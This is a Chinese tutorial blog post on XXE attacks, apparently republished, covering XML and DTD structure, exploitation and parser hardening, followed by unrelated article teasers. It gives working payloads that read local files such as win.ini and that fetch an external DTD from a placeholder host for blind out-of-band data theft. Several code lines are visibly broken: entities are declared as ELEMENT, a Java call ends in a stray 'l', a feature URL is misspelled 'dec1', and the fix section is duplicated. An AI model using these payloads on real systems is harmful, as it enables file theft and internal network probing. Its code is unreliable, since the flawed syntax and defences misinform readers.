XXE原理利用防御

news2025/2/28 15:47:35

XXE原理利用防御

一、XML定义
1、定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

2、原因

应用程序解析XML时,没有过滤外部实体的加载,导致加载了恶意的外部文件,造成命令执行、文件读取、内网扫描、内网应用攻击等危害。

二、文档结构
1、结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<?xml version="1.0" encoding="gb2312" encoding="UTF-8" ?>	//xml声明、版本、编码。
<!DOCTYPE root system"http://www.xxx.com/file"
[	//定义DTD文件,格式为:root指定节点名称,system声明要使用的外部DTD文件路径,后面加文件URL,注意[]包裹。
<!ELEMENT root (other)>	//元素声明,声明xml中包含的元素,声明中需要指定元素名称(root、other)和元素类别、内容等。
<!ELEMENT to (#PCDATA)>	//<!--定义to元素为#PCDATA类型-->
<!ELEMENT generalentity "content">	//ELEMENT标签用于声明实体,实体分为:预定义实体、普通实体、参数实体,此处定义了普通实体generalentity,内容为content。
<!ELEMENT %extendentity SYSTEM "http://www.xxx.com/file">	//定义参数实体,格式为:<!ELEMENT % 参数名称 参数内容> 
]>
三、DTD的基础知识
1、定义

Document Type Definition即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和扩展性方面也比不上XML Schema。

2、使用DTD实体的攻击方式
1、DTD内部声明
<!DOCTYPE 根元素 [元素声明]>
2、DTD外部引用
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">
3、引用公共DTD
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
四、XXE的利用方式DTD
1、可以干的事

利用XXE漏洞可以进行拒绝服务攻击、文件读取、命令执行、XSS注入、SQL注入、内外端口扫描、入侵内网站点等。内网探测和入侵是利用XXE中支持的协议进行内网主机和端口发现,可以理解是使用XXE进行SSRF的利用。

2、场景

一般XXE利用分为两大场景:有回显和无回显。有回显的情况下可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据。

有回显情况
方法一:
<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://C:/windows/win.ini">]>
<foo>&xxe;</foo>
方法二:
<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd">%xxe;]>
<foo>&evil;</foo>
无回显情况
使用php://filter获取目标文件的内容
<!DOCTYPE convert[<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx/test.dtd">%remote;%int;%send;]>
五、CTF中考题
1、截取数据包

在这里插入图片描述
在这里插入图片描述

2、构造Payload

在这里插入图片描述

六、XXE漏洞修复与防御
1、PHP
libxml_disable_entity_loader(true);
2、JAVA
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false)l
setFeature("http://apache.org/xml/features/disallow-doctype-dec1",true);
setFeature("http://xml.org/sax/features/external-general-entities",false);
setFeature("http://xml.org/sax/features/external-parameter-entities",false);
3、Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
4、手动黑名单过滤
过滤关键词:<!DOCTYPE>、<!ENTITY SYSTEM>、<!PUBLIC>
5、修复建议

(1)禁止使用外部实体。

(2)过滤用户提交的XML数据,防止出现非法内容。

七、附录
https://xz.aliyun.com/t/3357#toc-21
5、修复建议

(1)禁止使用外部实体。

(2)过滤用户提交的XML数据,防止出现非法内容。

七、附录
https://xz.aliyun.com/t/3357#toc-21

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/468325.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

多用户商城平台开发需要注意哪些问题?

电子商务的快速发展&#xff0c;越来越多的企业选择借助第三方商城软件开设自己的多用户商城平台&#xff0c;以此来帮助他们增加销售额和提高品牌知名度&#xff0c;如目前市面上常见的shop、shopnc等第三方商城软件。但是&#xff0c;多用户商城平台的开发并不是一件容易的事…

QFIELD-GIS工具版如何编辑数据

一、 简介 在现场进行GIS数据对比、采集、编辑是移动GIS App的一项非常实用的功能。能够使用户更加及时准确的收集到第一手资料&#xff0c;并在现场第一时间进行编辑和完善。同时配合遥感、GPS或移动设备自带各类传感器&#xff0c;再辅助以其它矢量参考数据可以对已有成果…

如何利用社交媒体来做Etsy店铺推广?

利用社交媒体是 Etsy 店铺推广的重要一环。通过创作优秀的社交媒体内容、定期发布内容、与关注者互动和利用广告&#xff0c;你可以吸引更多的潜在客户&#xff0c;增加你的店铺销售量和品牌影响力。以下是详细说明如何利用社交媒体来做店铺推广&#xff1a; 选择适合的社交媒体…

FinClip 现已支持云开发

在开发一个小程序时&#xff0c;除了考虑界面功能逻辑外&#xff0c;还需要后端的数据支持&#xff0c;开发者需要提前考虑服务器、存储和数据库等相关需求的支持能力&#xff0c;此外还可能需要花费时间精力在部署应用、和依赖服务的建设上。 因此&#xff0c;腾讯小程序为了实…

NetMQ | 实现TCP的发布订阅模式

NetMQ | 实现TCP的发布订阅模式 文章目录 NetMQ | 实现TCP的发布订阅模式前言什么是发布订阅模式&#xff1f;实现步骤步骤1&#xff1a;创建Publisher和Subscriber步骤2&#xff1a;绑定和连接步骤3&#xff1a;添加订阅步骤4&#xff1a;发布消息步骤5&#xff1a;接收消息 示…

构建一体化数字营销平台,助力医药企业实现销售转化能级大幅跃迁 | 案例研究

今日分享的案例企业成立于1994年&#xff0c;主要从事心血管、消化领域的药品生产、加工、分装和销售&#xff0c;其中心血管相关药品广泛畅销至世界很多个国家。目前&#xff0c;该医药公司销售网络遍及全国80余个城市&#xff0c;以专业人员组成的营业队伍&#xff0c;致力于…

【Linux系统安装Python3 --- 思路清晰的五大步】

水善利万物而不争&#xff0c;处众人之所恶&#xff0c;故几于道&#x1f4a6; 目录 一、检查Python版本 二、下载源码包 三、解压编译源码 四、安装Python 五、调整系统默认Python指向 一、检查Python版本 1.直接进入python命令行查看python版本 python 2.列出系统上所…

[Android 模块化配置实践] Java + Gradle7配置模块化实践记录

文章目录 1.项目配置及环境2.项目工程结构3.Project下的系列设置自定义config.gradlesetting.gradlebuild.gradle(:project) 添加modulemodule_common下的build.gradle配置遇到的报错一遇到的报错二 applicationId问题 module_xxx下的build.gradle示例 由于目前刚开始学习模块化…

【vxe-table】自定义表头列是否可以排序

vxe-table真是让人又爱又恨&#xff0c;官网示例还有文档都很详细&#xff0c;但是可能是用的人少&#xff0c;每次遇到问题&#xff0c;都百度不到啥解决方法&#xff0c;不像el-table,全是方法 今天给我提了个bug&#xff0c;vxe-table要支持指定列排序&#xff0c;意思就是…

如何用3D人脸扫描设备制作虚拟数字人?

在海心沙元宇宙音乐会上&#xff0c;虚拟数字人“杜杜”与真人主持杜雨轩老师同台主持&#xff0c;带领现场观众感受虚实融合的音乐世界。 其实虚拟数字人“杜杜”是使用了数字人复刻技术&#xff0c;以真人主持杜雨轩老师1&#xff1a;1复刻的。在模型制作上不同于往常的美型数…

springboot整合flowable工作流引擎的简单使用

内容来自网络整理&#xff0c;文章最下有引用地址&#xff0c;可跳转至相关资源页面。若有侵权请联系删除 环境&#xff1a; mysql5.7.2 springboot 2.3.9.RELEASE flowable 6.7.2 采坑&#xff1a; 1.当前flowable sql需要与引用的pom依赖一致&#xff0c;否则会报library…

【chapter29】【PyTorch】[Regularization】

前言&#xff1a; 前面讲了Overfitted,这里重点讲解一下如何防止 Overfitting ,以及其中的方案之一 Regularization 模型的参数量,模型的表达能力远超模型本身复杂度. 与之对应的是奥卡姆剃刀原理&#xff1a; 如何用最简单的方法得到最好的效果 找到关键的部分&#xff0c;简…

【SWAT水文模型】SWAT水文模型建立及应用第三期:土壤库建立(待更新)

SWAT水文模型建立及应用&#xff1a;土壤库建立 1 简介2 土壤数据下载2.1 数据下载方式2.1.1 世界土壤数据库HWSD数据2.1.2 中国土壤数据库 2.2 数据下载 3 土壤数据的准备3.1 SWAT土壤数据库参数3.2 土壤质地转化3.3 土壤参数的提取3.4 其他变量的提取3.5 土壤类型分布图的处理…

回顾 | Pre VS Code Day - 用 GitHub Codespaces 构建 OpenAI 应用实战

编辑&#xff1a;Alan Wang 排版&#xff1a;Rani Sun 微软 Reactor 为帮助广开发者&#xff0c;技术爱好者&#xff0c;更好的学习 .NET Core, C#, Python&#xff0c;数据科学&#xff0c;机器学习&#xff0c;AI&#xff0c;区块链, IoT 等技术&#xff0c;将每周三到周六&a…

85.qt qml-炫酷烟花粒子特效(支持多种爆炸模式、爆炸阴影、背景场景)

效果如下所示: 截图如下所示: 实现内容如下所示: 1.实现多个爆炸效果2.爆炸的时候增加光度阴影效果3.由于场景有湖面,所以还需要增加一个倒影粒子组首先我们来学习下,该示例中所需要常用的类型点 1.如何更改粒子生命周期时的颜色变换动画 方法有两种。 1.1通过colorTable和si…

详谈Android进程间的大数据通信机制:LocalSocket

前言 说起Android进行间通信&#xff0c;大家第一时间会想到AIDL&#xff0c;但是由于Binder机制的限制&#xff0c;AIDL无法传输超大数据。 比如我们在之前文章《WebRtc中是如何处理视频数据的&#xff1f;》提到的我们可以得到WebRtc的视频数据&#xff0c;这时候我们如果有…

C++类和对象(4)

C类和对象 1.拷贝构造函数1.1 概念1.2. 特征1.2.1. 拷贝构造函数构造函数的一种重载形式&#xff1b;1.2.2. 拷贝构造函数的参数只能有一个&#xff0c;是对本类类型对象的引用&#xff0c;不能是传值调用&#xff0c;编译会直接报错&#xff0c;或者是直接进入死循环。1.2.3. …

wvp开发环境搭建

代码下载地址 代码下载地址 https://gitee.com/pan648540858/wvp-GB28181-pro.git 开发工具 采用jetbrain idea 利用开发工具下载代码 文件-新建-来自版本控制的项目 url是上面的代码下载链接&#xff0c;点击克隆即可 下图是已经克隆并打开的代码 安装依赖环境 安装redi…

基于html+css的图展示44

准备项目 项目开发工具 Visual Studio Code 1.44.2 版本: 1.44.2 提交: ff915844119ce9485abfe8aa9076ec76b5300ddd 日期: 2020-04-16T16:36:23.138Z Electron: 7.1.11 Chrome: 78.0.3904.130 Node.js: 12.8.1 V8: 7.8.279.23-electron.0 OS: Windows_NT x64 10.0.19044 项目…

Linux套接字编程

在上一篇博客中我们对网络中一些基本概念进行了简单阐述&#xff0c;这一篇博客我们来对套接字编程的内容进行初步了解。 目录 1.引入 2.UDP协议 2.1通信两端流程 2.1.1服务端流程 2.1.2客户端流程 2.2套接字相关操作接口 2.2.1创建套接字 2.2.2为套接字绑定地址信息 …